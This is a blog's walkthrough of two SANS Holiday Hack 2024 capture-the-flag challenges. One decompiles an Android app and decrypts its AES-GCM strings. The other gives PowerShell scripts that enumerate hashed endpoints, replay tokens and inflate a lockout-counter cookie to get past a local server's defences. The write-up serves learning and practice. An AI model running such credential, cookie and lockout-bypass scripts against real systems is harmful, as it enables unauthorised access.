Monday, November 25, 2024

SANS: Holiday Hack 2024: Act 2: Mobile Analysis

 Mobile Analysis

Eve Snowshoes:

Hi there, tech saviour! Eve Snowshoes and Team Alabaster in need of assistance.

I've been busy creating and testing a modern solution to Santa’s Naughty-Nice List, and I even built an Android app to streamline things for Alabaster’s team.

But here’s my tiny reindeer-sized problem: I made a debug version and a release version of the app.

I accidentally left out a child's name on each version, but for the life of me, I can't remember who!

Could you start with the debug version first, figure out which child’s name isn’t shown in the list within the app, then we can move on to release? I’d be eternally grateful!

Silver

Eve Snowshoes in The Front Yard: Act II gives this challenge.  The goal for this challenge is to examine the debug version of the Naughty/Nice List Android SantaSwipe app.  The hints recommend tools:

"Try using apktool or jadx"

They also recommend working backwards from the names and seeing what names are there.

"Maybe look for what names are included and work back from that?"

For this one, I didn't use either tool.  Apk's are archive files.  You can extract the files using 7Zip.  This exposes the dex files.  There's a tool called dex2jar that's useful.

#checking to see if any of the dex files have anything to do with the naughty or nice list.

grep -H naughty ~/Desktop/SantaSwipe/classes*.dex

#used dex2jar to create a jar file

./d2j-dex2jar.sh ~/Desktop/SantaSwipe/classes3.dex -o ~/Desktop/SantaSwipe/class3.jar

#jar files can be disassembled from byte code

# view listing of the contents of the jar
jar tvf class3.jar
# disassemble contents of jar
jar xvf class3.jar
cd ~/Desktop/SantaSwipe
mkdir class3
mv class3.jar class3
cd class3
unzip class3.jar

#The following is a relative path.  No / because it's relative to the class3 directory.
#It's the same as cd ~/Desktop/SantaSwipe/class3/com/northpole/santaswipe
cd com/northpole/santaswipe

The DatabaseHelper.class file shows the database structure and names being added into the naughtynicelist.db database tables NaughtyList, NormalList, and NiceList.

Class files can be viewed like so:

javap -c DatabaseHelper.class

It makes sense to look in the MainActivity because that's where the application starts.
In this case, the name was in the MainActivity$WebAppInterface.class.

javap -c 'MainActivity$WebAppInterface.class' | grep Ellie

      22: ldc           #218                // String SELECT Item FROM NormalList WHERE Item NOT LIKE \'%Ellie%\'

The answer in the badge for the Mobile Analysis Objective is "Ellie"

Silver achieved.

Gold

The objective of this one is to do the same thing as silver, except you have to reverse engineer a different Android format.  The hints are the following:

"Obfuscated and encrypted? Hmph. Shame you can't just run strings on the file."

"So yeah, have you heard about this new Android app format? Want to convert it to an APK file?"

I had trouble building bundletool, so I downloaded and used the jar version.

java -jar "./bundletool-all-1.17.2.jar" build-apks --bundle=~/Desktop/SantaSwipeSecure/SantaSwipeSecure.aab --output=~/Desktop/SantaSwipeSecure/SantaSwipeSecure.apks --mode=universal

cd ~/Desktop/SecureSantaSwipe

unzip ~Desktop/SantaSwipeSecureUniversal.apks

This made a Universal.apk file.

I used jadx-gui for this one.  After opening the Universal.apk, there's a navigation pane on the left-hand side that contains the components of the Universal.apk apk.

Under com>northpole.santaswipe>DatabaseHelper, the source code for the DatabaseHelper can be viewed.

Important parts:

Encrypted data:

db.execSQL(decryptData("IVrt+9Zct4oUePZeQqFwyhBix8cSCIxtsa+lJZkMNpNFBgoHeJlwp73l2oyEh1Y6AfqnfH7gcU9Yfov6u70cUA2/OwcxVt7Ubdn0UD2kImNsclEQ9M8PpnevBX3mXlW2QnH8+Q+SC7JaMUc9CIvxB2HYQG2JujQf6skpVaPAKGxfLqDj+2UyTAVLoeUlQjc18swZVtTQO7Zwe6sTCYlrw7GpFXCAuI6Ex29gfeVIeB7pK7M4kZGy3OIaFxfTdevCoTMwkoPvJuRupA6ybp36vmLLMXaAWsrDHRUbKfE6UKvGoC9d5vqmKeIO9elASuagxjBJ"));

A function which tells the type of encryption and the settings for the encryption:

From the following we can see: Encryption:AES, Mode: GCM, Padding: NoPadding, GCM Tag Length: 128, the initialization vector (We don't know what this is yet, but we know it's passed in.)   We also know that these are base64 encoded and the character set is UTF-8.

    private final String decryptData(String encryptedData) {

        try {

            Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");

            cipher.init(2, this.secretKeySpec, new GCMParameterSpec(128, this.iv));

            byte[] doFinal = cipher.doFinal(Base64.decode(encryptedData, 0));

            Intrinsics.checkNotNull(doFinal);

            return new String(doFinal, Charsets.UTF_8);

        } catch (Exception e) {

            Log.e("DatabaseHelper", "Decryption failed: " + e.getMessage());

            return null;

        }

    }

This file also references the iv and keys in the resource file.  

String string = context.getString(R.string.ek)
String string2 = context.getString(R.string.iv)

There's also an encrypted list of names in here much like what was in the silver list.

In jadx-gui, in the navigation pane to the left-hand side, there's an R file in Source Code>com>R.  R files are resource files that maps the names and ids for strings and other resources for the app.  The following can look different depending on what tool you're using to view it.  Sometimes it's represented in a decimal format instead of hex.  The idea is still the same though.  It's an id telling the app where to find the actual value.

public static int ek = 0x7f090033;
public static int iv = 0x7f090037;

In jadx-gui, in the navigation pane to the left-hand side, under resources.arsc>res>values, the actual value of the ek and the iv can be found.

ek="rmDJ1wJ7ZtKy3lkLs6X9bZ2Jvpt6jL6YWiDsXtgjkXw="
iv="Q2hlY2tNYXRlcml4"

We can now decode the encrypted data.

I used this site to decrypt it adding the information as necessary.  Please be careful, I can't vouch for it.

https://www.lddgo.net/en/encrypt/aes

It outputs this:

DELETE FROM NormalList WHERE Item = 'KGfb0vd4u/4EWMN0bp035hRjjpMiL4NQurjgHIQHNaRaDnIYbKQ9JusGaa1aAkGEVV8=';

That doesn't look like a name. Maybe if we decrypt that weird looking base-64 encoded AES GCM Mode encrypted string? Use the same settings as before to decrypt it... This output makes more sense.

Joshua, Birmingham, United Kingdom

The name for the badge in the Objectives for Mobile Analysis is "Joshua".

Gold Achieved.

Note:

I downloded a copy of apktool. apktool can be used to get the values for the key and iv as well.

https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.10.0.jar

There's a wrapper script that needs to be downloaded to use this.

https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool

mv ~/Downloads/apktool_2.10.0.jar apktool.jar
mv apktool /usr/local/bin
mv apktool.jar /usr/local/bin
sudo chmod u+x /usr/local/bin/apktool
sudo chmod u+x /usr/local/bin/apktool.jar
apktool universal.apk
apktool d universal.apk -o universal.out
cd universal.out
cd res
cd values
cat strings.xml | grep 'string name="iv"'
cat strings.xml | grep 'string name="ek"'


Sunday, November 24, 2024

SANS: Holiday Hack 2024: Act 2: Powershell Terminal

Powershell

Silver wasn't too bad.  I thought question 9 had a bug because it wasn't advancing forward.  Be careful and read the prompts. 

Silver

The goal is to write powershell to answer the questions given at the top of the Terminal.  Most native commands weren't permitted however, I snuck by a netstat -tulpn in there. :)

Here's a scripted way to solve it.  The sleeps are in there because there's a script on there that has to read through the output before it will change the question at the top of the Terminal.  The sleeps give it long enough to read the terminal.

Get-Content welcome.txt

Start-Sleep -Seconds 1

Get-Content welcome.txt | Measure-Object -Word

Start-Sleep -Seconds 1

netstat -tulpn

Start-Sleep -Seconds 1

invoke-webrequest 127.0.0.1:1225

Start-Sleep -Seconds 1

invoke-webrequest 127.0.0.1:1225 -Headers @{Authorization="Basic YWRtaW46YWRtaW4="}

Start-Sleep -Seconds 1

for($i=0; $i -le 50; $i++){try{$response=Invoke-WebRequest http://localhost:1225/endpoints/$i; if(($response.Content | Measure-Object -Word | Select -Expand Words) -eq 138){(Invoke-WebRequest http://localhost:1225/endpoints/$i).Content}}catch{}}

Start-Sleep -Seconds 1

Invoke-RestMethod -Headers @{Authorization="Basic YWRtaW46YWRtaW4="} http://127.0.0.1:1225/token_overview.csv

Start-Sleep -Seconds 1

Invoke-WebRequest http://127.0.0.1:1225/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C -Headers @{Authorization="Basic YWRtaW46YWRtaW4="}

Start-Sleep -Seconds 1

$session = [Microsoft.PowerShell.Commands.WebRequestSession]::new(); $cookie = [System.Net.Cookie]::new('token','5f8dd236f862f4507835b0e418907ffc','/','127.0.0.1'); $session.Cookies.Add($cookie)

Start-Sleep -Seconds 1

$response=Invoke-RestMethod -Headers @{Authorization="Basic YWRtaW46YWRtaW4="} http://127.0.0.1:1225/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C  -WebSession $session

Start-Sleep -Seconds 1

$cookie = [System.Net.Cookie]::new('mfa_token',$response.h1.a.href,'/','127.0.0.1'); $session.Cookies.Add($cookie)

Invoke-RestMethod -Headers @{Authorization="Basic YWRtaW46YWRtaW4="} http://127.0.0.1:1225/mfa_validate/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C  -WebSession $session

Start-Sleep -Seconds 1

$encodedstring = "Q29ycmVjdCBUb2tlbiBzdXBwbGllZCwgeW91IGFyZSBncmFudGVkIGFjY2VzcyB0byB0aGUgc25vdyBjYW5ub24gdGVybWluYWwuIEhlcmUgaXMgeW91ciBwZXJzb25hbCBwYXNzd29yZCBmb3IgYWNjZXNzOiBTbm93TGVvcGFyZDJSZWFkeUZvckFjdGlvbg=="

Start-Sleep -Seconds 1

[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encodedString))

Gold

The goal is to get around the defense mechanisms described in welcome.txt in the Silver part of the challenge.  The silver kind of gives you an idea of how it works.  You have to request a token at the tokens api for a specific endpoint, then that endpoint gives you a token to submit to mfa_validate for that endpoint.  Once those tokens are submitted, the machine goes into lockdown because for some reason it deems the player as suspicious.  In the hints it reiterates what you should've learned in the Powershell Terminal.

Hints in Badge:

"I overheard some of the other elves talking.  Even though the endpoints have been redacted, they are still operational.  This means that you can probably elevate your access by communicating with them.  I suggest working out the hashing scheme to reproduce the redacted endpoints.  Luckily one of them is still active and can be tested against.  Try hashing the token with SHA256 and see if you can reliably reproduce the endpoint.  This might help, pipe the tokens to Get-FileHash -Algorithm SHA256."

"They also mentioned this lazy elf who programmed the security settings in the weapons terminal. He created a fakeout protocol that he dubbed Elf Detection and Response "EDR". The whole system is literally that you set a threshold and after that many attempts, the response is passed through... I can't believe it. He supposedly implemented it wrong so the threshold cookie is highly likely shared between endpoints!"

Each of the md5 tokens given in http://127.0.0.1:1225/token_overview.csv represents a token that must be presented for each of the specific endpoints.  The md5 tokens can be sent through the SHA256 hashing algorithm to get the possible endpoints.  When this endpoint is locked down, you have to find the "scrambled" endpoint.  That basically just consists of looping through them until you find the correct one.

The hints gave a clue where to start.  I tried to use the 4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C endpoint and the 5f8dd236f862f4507835b0e418907ffc token to see if using something like Get-FileHash -Algorithm SHA256 5f8dd236f862f4507835b0e418907ffc could be used to reliably create this hash: 4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C.  Unfortunately, I wasn't able to do that because Get-FileHash accepts a file as input and outputs that file's hash.  There is an -InputStream parameter, however, it wasn't giving a hash that matched.  I'm probably missing something.

$stringAsStream = [System.IO.MemoryStream]::new()
$writer = [System.IO.StreamWriter]::new($stringAsStream)
$writer.write("5f8dd236f862f4507835b0e418907ffc")
$writer.Flush()
$stringAsStream.Position = 0
Get-FileHash -InputStream $stringAsStream | Select-Object Hash

7FA1DAD4145BC91C5354C72E540A2903E7933958914A15244E1D5AF4BA005172

So, instead of trying to figure that out, I took the md5 hashes representing the tokens out to Linux and got the SHA256 hashes via sha256sum.  Bash is so much easier at times.  There weren't many of them, so I simply displayed them, copied them with Ctrl-C and pasted them into my Linux VM into a file called tokens.txt.

while read p; do echo "$p" | sha256sum ; done < tokens.txt

After that, I copied those sha256 hashes, saved them into Notepad++ and manipulated them to get "" around each hash and a comma separating each of them.  There are more efficient ways of doing things, but this worked.

Then I created a couple array variables: $tokens and $endpoints.

To create a $tokens array in the Powershell Terminal:

Invoke-RestMethod -Headers @{Authorization="Basic YWRtaW46YWRtaW4="} http://127.0.0.1:1225/token_overview.csv -OutFile token_overview.csv

Import-CSV token_overview.csv | GM

$tokens = $(Import-CSV token_overview.csv | Select -ExpandProperty 'file_MD5hash' | Select -First 49)

#To create a variable holding one of the values from the array:

$token = $tokens[1].trim()

$endpoints = @("DFD05F3B46D21BC8556CDBF544325A945ED0304EC0BB7DBFD68ED5931E7FF6EE","1F3C45D7E7B1F7621F67136C538C6933791D3392648C7B0F8B17FB1A6343EBD5","E2DBBDBCC7E57E526841899975B6621105710E76C203C1DC30419E7F1CBA5297","BC83A2C7A6279EAD36370AB3509FEA7483EFF83C164FC7CFE3C680D879B9F9D2","B93772D2393029424049564B366F08B21E66282CE3D7B9DA4F7A69C8891012A0","989FDE082FB901AE5EDFD873BF41A76BF47B318F76968D0275DAD99ABD5894B4","E2B80B2C70BA5982814B758849472C8711AF8051E5261CE827C02818D7E1DE8C","704FECC829A3ACB5E50E3277EAFC03CA902E515CFD81BFA94670A44ACA551D6A","F5251B4CA89F3C4EB6BBCF40AD41ABC870FFB8BFC4D1E170DF7ED88F23E20568","A9FBA920D17E1B98F393E691EC837A0CA41BE8115389F2A634F77DCEEAF20725","AF2B19CC9CEE8005C95A321605FB2AAB8577C66EBD762CC2DF943FEE47987D86","0F8B6BD4B5D006BD7A0FCEEBA10A7726430EA9AF7FA4314C0A83E17ACAEA32B6","38810A7BEA5587438CBFA6A0C364619CA4F886EC403BE951CF38F5158D7DA4F9","A93F039A2D5158251D509AFB2BF6BC45DEC47D8AC189A170A23CAEA07F009476","89298B15BECC2F6C98C53EBFEBF1C91D7D569CB0895B22F840BD3B9CA400E9F7","F6BC096E3570C6622EA951B3CFB852E116D0E1460576FB9FBE6F6B75DCCB46C7","3877CD419E2D8907C09DE27C68BABFBCD88A9D8F7BEBDB4385AFF288D0A39631","1E257FCA2443492C6B8621BEE3117E9DE40D6D6E1A7CA4861079FB74CB9DC164","AC7458460E359B3B940540168AFFC7FA354C3CC05A52A52A1A6DE0538AE60EC8","65D70BADAC127DAC0BCC4962107B708A37CF24B8DCD327C328A3C59A610F18EE","E2692776B6ECD2C39373CED96F7FF8B64AEAE56404352CF06AEFC724CC4C7CF1","E433FEB9DE55166463E0BD4BA14A3CC099BD1BA1ABF20FD290491BDA3D3CF2E6","CF056AE6605F7909A7E6126716E528B863807D2DC153A4D5AA00714AC72AADC4","F732A928CDA0C4A51284F8B28401EAC228CA2769804CFBCC16F2C8A0C58713F2","D2E0F89C295194775B9835F646F5BDD950EB05CB6D912602CE4FF62A30EBE437","7A50D248E3991BF55C361E119FAA292C8661F0EB6476C868DB3289793391E12F","BC9F1A7214052F7AD3FB5076A1862E24DC71808BA27C5D9C584D681F6C3AFE6B","5BBE0D45C6A1FD01A7641FF4807009EFC91FD7F5637DDED8B71AD8E2ADA5D086","8FCFF56C3C425A8A7163493B1F17FB330AD89FBBEFDDD9C5D226196C4C327BBB","F892F608096E56013C3ED96E4F984C6376617C42E328E20382660370FF181CE4","D040356E54CA166CD0479D9878FC9BA1012A80419A846A58A24649F4F01B63F8","FF1A98E7BB3D9F87C4495EE7D62C455CBAD6C6A6AD4ABBA25A503B7C1AE113C1","6297F422314EA9E9172752F3A891BD505752C5F14FCAB93153BCB1038FB5AB87","04519F7AF02A977A27A8D9398E86354117537FA896C437019A61F46D31BFD339","5A4B06401AD22FA4CF75FE22829CB14549C4F18A18C67BEB16D314B80A4F44D9","ABF98108DBD1095A59BAE36726FAC48E3AB23DA2CF2EFFEAE02EF5C142CB76FE","2DDA00DA692764113B97787241658A1911AEB4C0BD9B92E4FAB4FFCB1FE15A33","CE92890075A6232A039BCB06B83ADF90355119A99DA8D694C85681E310191BB9","AE311EBE101C6AC4E11E4E338906ECEDC22583FAD68B85834EED3CB684FC4383","ACAB8D777A0C5F9D631B4FE6E07CC14B7E063C1E48EE8A0AB876D12082AD3FEA","01B1F4132E95B847D89FCDC599FD685E26198AA684196663C4C0B51B1A410DC4","368EF0EB3BD563C81F658E6C47182524256F09212010774B00939A440DABD9F6","B3395DC1F995F897F36E5AB99B7A3EADA186713CC40785BB33F06C4D7C989673","9992B3B85730EA436A546086036520BCF15D86B1A2A8F96E4D3C569148F770D3","35138166CED99D6A600B52F70C818CF44826170FD88B8234107EC0BD51CC276D","15D6E335C167DEA490AC4CD91815C56D7ECEF3CD4B019588567710D839A9EA45","2AE009872B65D788E44F634736689AF1570333FD802B93B41DF09A3F7D02C0E1","BAC2F3580B6491CBF26C84F5DCF343D3F48557833C79CF3EFB09F04BE0E31B60")

Another way to create the tokens array - manipulate them until they each have quotes around them, and commas in between them.

$tokens = @("04886164e5140175bafe599b7f1cacc8","664f52463ef97bcd1729d6de1028e41e","3e03cd0f3d335c6fb50122553f63ef78","f2aeb18f5b3f08420eed9b548b6058c3","32b9401a6d972f8c1a98de145629ea9d","3a79238df0a92ab0afa44a85f914fc3b","49c2a68b21b9982aa9fd64cf0fd79f72","f8142c1304efb9b7e9a7f57363c2d286","706457f6dd78729a8bed5bae1efaeb50","bb0564aa5785045937a35a9fa3fbbc73","4173a7bc22aee35c5fc48261b041d064","198b8bf2cd30a7c7fed464cca1720a88","3a7c8ecffeeadb164c31559f8f24a1e7","288e60e318d9ad7d70d743a614442ffc","87ab4cb29649807fdb716ac85cf560ea","89f3ec1275407c9526a645602d56e799","33539252b40b5c244b09aee8a57adbc9","152899789a191d9e9150a1e3a5513b7f","7cd48566f118a02f300cdfa75dee7863","d798a55fca64118cea2df3c120f67569","6ef5570cd43a3ec9f43c57f662201e55","bf189d47c3175ada98af398669e3cac3","743ac25389a0b430dd9f8e72b2ec9d7f","270aabd5feaaf40185f2effa9fa2cd6e","8b58850ee66bd2ab7dd2f5f850c855f8","6fd00cbda10079b1d55283a88680d075","612001dd92369a7750c763963bc327f0","010f2cc580f74521c86215b7374eead6","29860c67296d808bc6506175a8cbb422","7b7f6891b6b6ab46fe2e85651db8205f","45ffb41c4e458d08a8b08beeec2b4652","d0e6bfb6a4e6531a0c71225f0a3d908d","bd7efda0cb3c6d15dd896755003c635c","5be8911ced448dbb6f0bd5a24cc36935","1acbfea6a2dad66eb074b17459f8c5b6","0f262d0003bd696550744fd43cd5b520","8cac896f624576d825564bb30c7250eb","8ef6d2e12a58d7ec521a56f25e624b80","b4959370a4c484c10a1ecc53b1b56a7d","38bdd7748a70529e9beb04b95c09195d","8d4366f08c013f5c0c587b8508b48b15","67566692ca644ddf9c1344415972fba8","8fbf4152f89b7e309e89b9f7080c7230","936f4db24a290032c954073b3913f444","c44d8d6b03dcd4b6bf7cb53db4afdca6","cb722d0b55805cd6feffc22a9f68177d","724d494386f8ef9141da991926b14f9b","67c7aef0d5d3e97ad2488babd2f4c749")

After that it's a matter of trial and error - paying careful attention to output.

Invoke-RestMethod -Headers @{Authorization="Basic YWRtaW46YWRtaW4="} http://127.0.0.1:1225 -WebSession $session

I did this so the session variable was created.  For some reason, just making the variable like this:

$session = [Microsoft.PowerShell.Commands.WebRequestSession]::new(); $cookie = [System.Net.Cookie]::new('token',$token,'/','127.0.0.1'); $session.Cookies.Add($cookie)

Didn't work until I already sent a request using that variable as the session - maybe bug?  I don't know.

I started off with one endpoint to see what output I get.  Remember that each endpoint is associated with a certain token.  So, I had to use the token that corresponds with the specific endpoint I'm trying to access.

$token = $tokens[1] #664f52463ef97bcd1729d6de1028e41e
$endpoint = $endpoints[1] #1F3C45D7E7B1F7621F67136C538C6933791D3392648C7B0F8B17FB1A6343EBD5

We already know this part from the Silver part of the challenge.  Now I have to create a session and add the token cookie to that session.

$session = [Microsoft.PowerShell.Commands.WebRequestSession]::new(); $cookie = [System.Net.Cookie]::new('token',$token,'/','127.0.0.1'); $session.Cookies.Add($cookie)

This next command uses the session that was created and the cookies attached to it to reach out to that endpoint.

$response = Invoke-WebRequest -Headers @{Authorization="Basic YWRtaW46YWRtaW4="} http://127.0.0.1:1225/tokens/$endpoint  -WebSession $session

I put the response from the request to the server in a variable so I can see the output.  Sometimes Powershell interprets things as strings instead of objects, or certain objects get cut off if you just view it.  Having it in a variable means that I can access objects to see what was cut off.

Example:

This was output without the response variable.

StatusCode        : 200
StatusDescription : OK
Content           : <h1>Canary TRIPWIRE</h1>
                    <p>Possible unauthorized access detected.<br>Endpoints have been scrambled.<br>Basic token evasion tactics implemented, fakeout threshold set to 10.<br>Default token validity …
RawContent        : HTTP/1.1 200 OK
                    Server: Werkzeug/3.0.6
                    Server: Python/3.10.12
                    Date: Sat, 23 Nov 2024 05:48:52 GMT
                    Connection: close
                    Content-Type: text/html; charset=utf-8
                    Content-Length: 372
                    
                    <h1>Canary TRIPWIRE</h1>…
Headers           : {[Server, System.String[]], [Date, System.String[]], [Connection, System.String[]], [Content-Type, System.String[]]…}
Images            : {}
InputFields       : {}
Links             : {@{outerHTML=<a href='1732340932.4352405'>/mfa_validate/1F3C45D7E7B1F7621F67136C538C6933791D3392648C7B0F8B17FB1A6343EBD5</a>; tagName=A; href=1732340932.4352405}}
RawContentLength  : 372
RelationLink      : {}

If I didn't have it in a variable, and I got further along and wanted to go back and look, I'd have to run the command again to see the output.  Also, I'm not familiar with everything Web related in Powershell.  If I knew them offhand, I could do something like 

Invoke-WebRequest -Headers @{Authorization="Basic YWRtaW46YWRtaW4="} http://127.0.0.1:1225/tokens/$endpoint  -WebSession $session) | Select -ExpandProperty RawContent 

to see them at the time, but saving to variables can be handy to look at later.

There's another error that is output from running that last command.
This error says an mfa_token must be set.  Again, we knew this would be an issue from silver.  Referencing the value for the cookie is different for this one.  Notice I'm accessing the response object, splitting it at the apostrophe, and taking the second object which is the token this time.  Notice I'm switching between Invoke-WebRequest and Invoke-RestMethod based on the objects that are created and which one either outputs more or less.

$response = Invoke-RestMethod -Headers @{Authorization="Basic YWRtaW46YWRtaW4="} http://127.0.0.1:1225/tokens/$endpoint  -WebSession $session) | Select -ExpandProperty RawContent 

$cookie2 = [System.Net.Cookie]::new('mfa_token',$response.split("'")[1],'/','127.0.0.1'); $session.Cookies.Add($cookie2)

You have to be quick so the whole set of commands needs to be ran immediately, otherwise you get a token expired error.

$response = Invoke-RestMethod -Headers @{Authorization="Basic YWRtaW46YWRtaW4="} http://127.0.0.1:1225/tokens/$endpoint  -WebSession $session

$cookie2 = [System.Net.Cookie]::new('mfa_token',$response.split("'")[1],'/','127.0.0.1'); $session.Cookies.Add($cookie2)

$response2=Invoke-WebRequest -Headers @{Authorization="Basic YWRtaW46YWRtaW4="} http://127.0.0.1:1225/mfa_validate/$endpoint  -WebSession $session

After this, we get an error saying Setting Attempts.  This error is a clue something else is going on.  When this error message is displayed a cookie is created called attempts.  It is the counter for the lockout threshold.  It has a value like attempts=c25ha2VvaWwK01.  Each time you attempt to access that same endpoint, that value is incremented up by 1 all the way to attempts=c25ha2VvaWwK10.  The first part base64 decodes to snakeoil.  The last part is the number of attempts.

After that, simply visit that same endpoint until the attempts cookie gets to attempts=c25ha2VvaWwK10.  This can be done by creating a loop in Powershell that runs the 3 commands above 10 times.

$token = $tokens[1]
$endpoint = $endpoints[1]

$session = [Microsoft.PowerShell.Commands.WebRequestSession]::new(); $cookie = [System.Net.Cookie]::new('token',$token,'/','127.0.0.1'); $session.Cookies.Add($cookie)

#remember this is counting from 0-9 inclusive meaning 10 times.
for($h=0;$h -le 9; $h++){

$response = Invoke-RestMethod -Headers @{Authorization="Basic YWRtaW46YWRtaW4="} http://127.0.0.1:1225/tokens/$endpoint  -WebSession $session

$cookie2 = [System.Net.Cookie]::new('mfa_token',$response.split("'")[1],'/','127.0.0.1'); $session.Cookies.Add($cookie2)

Invoke-WebRequest -Headers @{Authorization="Basic YWRtaW46YWRtaW4="} http://127.0.0.1:1225/mfa_validate/$endpoint  -WebSession $session
}

After that, change the token and endpoint to the next endpoint and its corresponding token.  The session needs to stay the same so don't change that.

$token = $tokens[2]
$endpoint = $endpoints[2]
#The cookie for the token has to be updated with the new token.
$cookie = [System.Net.Cookie]::new('token',$token,'/','127.0.0.1'); $session.Cookies.Add($cookie)

Then run the 3 commands above again.  You don't have to run it 10 times for each endpoint after the first one because the attempts cookie is already set and stays set so long as you aren't logged out or make a mistake resetting the counter.  The token cookie will need to be changed each time you change the token and the endpoint.

Keep trying those three commands on the different endpoints until you get a success message.
If you mess up, the count starts over again for attempts, so you have to start back from the top.

for ($i =2; $i -le 47; $i++){
$token = $tokens[$i]
$endpoint = $endpoints[$i]
#The cookie for the token has to be updated with the new token.
$cookie = [System.Net.Cookie]::new('token',$token,'/','127.0.0.1'); $session.Cookies.Add($cookie)

$response = Invoke-RestMethod -Headers @{Authorization="Basic YWRtaW46YWRtaW4="} http://127.0.0.1:1225/tokens/$endpoint  -WebSession $session

$cookie2 = [System.Net.Cookie]::new('mfa_token',$response.split("'")[1],'/','127.0.0.1'); $session.Cookies.Add($cookie2)

Invoke-WebRequest -Headers @{Authorization="Basic YWRtaW46YWRtaW4="} http://127.0.0.1:1225/mfa_validate/$endpoint  -WebSession $session
#This was so I could watch the reponses.
Start-Sleep -Seconds 1
}

The success message will go by pretty fast.  Next, we only want to see the response if it's a success and break out of the loop.  The following is the full script.

$endpoints = @("DFD05F3B46D21BC8556CDBF544325A945ED0304EC0BB7DBFD68ED5931E7FF6EE","1F3C45D7E7B1F7621F67136C538C6933791D3392648C7B0F8B17FB1A6343EBD5","E2DBBDBCC7E57E526841899975B6621105710E76C203C1DC30419E7F1CBA5297","BC83A2C7A6279EAD36370AB3509FEA7483EFF83C164FC7CFE3C680D879B9F9D2","B93772D2393029424049564B366F08B21E66282CE3D7B9DA4F7A69C8891012A0","989FDE082FB901AE5EDFD873BF41A76BF47B318F76968D0275DAD99ABD5894B4","E2B80B2C70BA5982814B758849472C8711AF8051E5261CE827C02818D7E1DE8C","704FECC829A3ACB5E50E3277EAFC03CA902E515CFD81BFA94670A44ACA551D6A","F5251B4CA89F3C4EB6BBCF40AD41ABC870FFB8BFC4D1E170DF7ED88F23E20568","A9FBA920D17E1B98F393E691EC837A0CA41BE8115389F2A634F77DCEEAF20725","AF2B19CC9CEE8005C95A321605FB2AAB8577C66EBD762CC2DF943FEE47987D86","0F8B6BD4B5D006BD7A0FCEEBA10A7726430EA9AF7FA4314C0A83E17ACAEA32B6","38810A7BEA5587438CBFA6A0C364619CA4F886EC403BE951CF38F5158D7DA4F9","A93F039A2D5158251D509AFB2BF6BC45DEC47D8AC189A170A23CAEA07F009476","89298B15BECC2F6C98C53EBFEBF1C91D7D569CB0895B22F840BD3B9CA400E9F7","F6BC096E3570C6622EA951B3CFB852E116D0E1460576FB9FBE6F6B75DCCB46C7","3877CD419E2D8907C09DE27C68BABFBCD88A9D8F7BEBDB4385AFF288D0A39631","1E257FCA2443492C6B8621BEE3117E9DE40D6D6E1A7CA4861079FB74CB9DC164","AC7458460E359B3B940540168AFFC7FA354C3CC05A52A52A1A6DE0538AE60EC8","65D70BADAC127DAC0BCC4962107B708A37CF24B8DCD327C328A3C59A610F18EE","E2692776B6ECD2C39373CED96F7FF8B64AEAE56404352CF06AEFC724CC4C7CF1","E433FEB9DE55166463E0BD4BA14A3CC099BD1BA1ABF20FD290491BDA3D3CF2E6","CF056AE6605F7909A7E6126716E528B863807D2DC153A4D5AA00714AC72AADC4","F732A928CDA0C4A51284F8B28401EAC228CA2769804CFBCC16F2C8A0C58713F2","D2E0F89C295194775B9835F646F5BDD950EB05CB6D912602CE4FF62A30EBE437","7A50D248E3991BF55C361E119FAA292C8661F0EB6476C868DB3289793391E12F","BC9F1A7214052F7AD3FB5076A1862E24DC71808BA27C5D9C584D681F6C3AFE6B","5BBE0D45C6A1FD01A7641FF4807009EFC91FD7F5637DDED8B71AD8E2ADA5D086","8FCFF56C3C425A8A7163493B1F17FB330AD89FBBEFDDD9C5D226196C4C327BBB","F892F608096E56013C3ED96E4F984C6376617C42E328E20382660370FF181CE4","D040356E54CA166CD0479D9878FC9BA1012A80419A846A58A24649F4F01B63F8","FF1A98E7BB3D9F87C4495EE7D62C455CBAD6C6A6AD4ABBA25A503B7C1AE113C1","6297F422314EA9E9172752F3A891BD505752C5F14FCAB93153BCB1038FB5AB87","04519F7AF02A977A27A8D9398E86354117537FA896C437019A61F46D31BFD339","5A4B06401AD22FA4CF75FE22829CB14549C4F18A18C67BEB16D314B80A4F44D9","ABF98108DBD1095A59BAE36726FAC48E3AB23DA2CF2EFFEAE02EF5C142CB76FE","2DDA00DA692764113B97787241658A1911AEB4C0BD9B92E4FAB4FFCB1FE15A33","CE92890075A6232A039BCB06B83ADF90355119A99DA8D694C85681E310191BB9","AE311EBE101C6AC4E11E4E338906ECEDC22583FAD68B85834EED3CB684FC4383","ACAB8D777A0C5F9D631B4FE6E07CC14B7E063C1E48EE8A0AB876D12082AD3FEA","01B1F4132E95B847D89FCDC599FD685E26198AA684196663C4C0B51B1A410DC4","368EF0EB3BD563C81F658E6C47182524256F09212010774B00939A440DABD9F6","B3395DC1F995F897F36E5AB99B7A3EADA186713CC40785BB33F06C4D7C989673","9992B3B85730EA436A546086036520BCF15D86B1A2A8F96E4D3C569148F770D3","35138166CED99D6A600B52F70C818CF44826170FD88B8234107EC0BD51CC276D","15D6E335C167DEA490AC4CD91815C56D7ECEF3CD4B019588567710D839A9EA45","2AE009872B65D788E44F634736689AF1570333FD802B93B41DF09A3F7D02C0E1","BAC2F3580B6491CBF26C84F5DCF343D3F48557833C79CF3EFB09F04BE0E31B60")

